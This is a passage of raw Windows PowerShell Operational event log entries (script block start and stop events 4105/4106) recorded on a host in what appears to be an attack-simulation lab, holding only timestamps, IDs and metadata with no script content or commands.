OpCode=On create calls
RecordNumber=2031995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031977
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031975
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031974
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031957
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031951
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
